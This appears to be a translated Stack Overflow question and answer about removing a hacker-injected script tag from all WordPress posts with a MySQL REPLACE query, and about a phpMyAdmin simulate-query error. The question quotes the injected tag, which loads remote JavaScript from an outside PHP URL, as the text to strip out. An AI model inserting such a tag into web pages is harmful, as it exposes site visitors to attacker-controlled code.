SQL 搜索和替换
Posted
技术标签:
【中文标题】SQL 搜索和替换【英文标题】:SQL Search and Replace 【发布时间】:2016-09-11 16:37:14 【问题描述】:诚然,对于 SQL 命令,我是个菜鸟。一名黑客在我的一个 WordPress 网站上的每个帖子和页面的末尾插入了一个脚本标签,我试图在“wp_posts”表中进行查找和替换,但是当我运行时我不断收到 #1064 错误模拟查询。这是我所拥有的:
UPDATE wp_posts SET post_content=REPLACE(post_content, '<script type="text/javascript" src="http://www.hcifx.com/troyengelhardt/index1261.php"></script>', '');
无论我在第一组 'find' 引号内放什么,我都会得到错误,即使它是像 'hcifx' 这样简单的东西,而不是显示的整个脚本标记。有什么想法我哪里出错了吗?
【问题讨论】:
没有要恢复的备份?修复漏洞可能会留下一些漏洞,因此新安装和更新的服务器会是一个更好的主意。 我现在已经炸毁并重新安装了很多次 WP,最小化我的插件使用,用 htaccess 文件锁定每个目录,删除未使用的主题,强化文件权限等。还没有很长一段时间以来的文件级黑客攻击,现在我的数据库被黑客入侵了,我不知道我还能做些什么我还没有做的事情。 如何运行这个 SQL 命令(什么客户端)?确切的错误文本是什么? 我正在 PhpMyAdmin 中运行查询。错误说:#1064 - 您的 SQL 语法有错误;检查与您的 mysql 服务器版本相对应的手册,以在第 1 行的 '' 类似这样的语法错误消息会显示出现在意外位置的文本。例如,如果您忘记了post_content
之后的逗号,那么在它之后会出现另一个带引号的字符串是出乎意料的,因此这将是它在错误中显示给您的文本。因此,通常情况下,您应该在错误中的文本之前查看您的查询。
【参考方案1】:
事实证明,该错误是 PhpMyAdmin 中的一个已知错误。查询有效,但使用“模拟查询”功能会引发错误。我备份了我的数据库并按照编写的方式运行查询,它成功地从 db 表中的所有帖子中删除了有问题的代码。
【讨论】:
以上是关于SQL 搜索和替换的主要内容,如果未能解决你的问题,请参考以下文章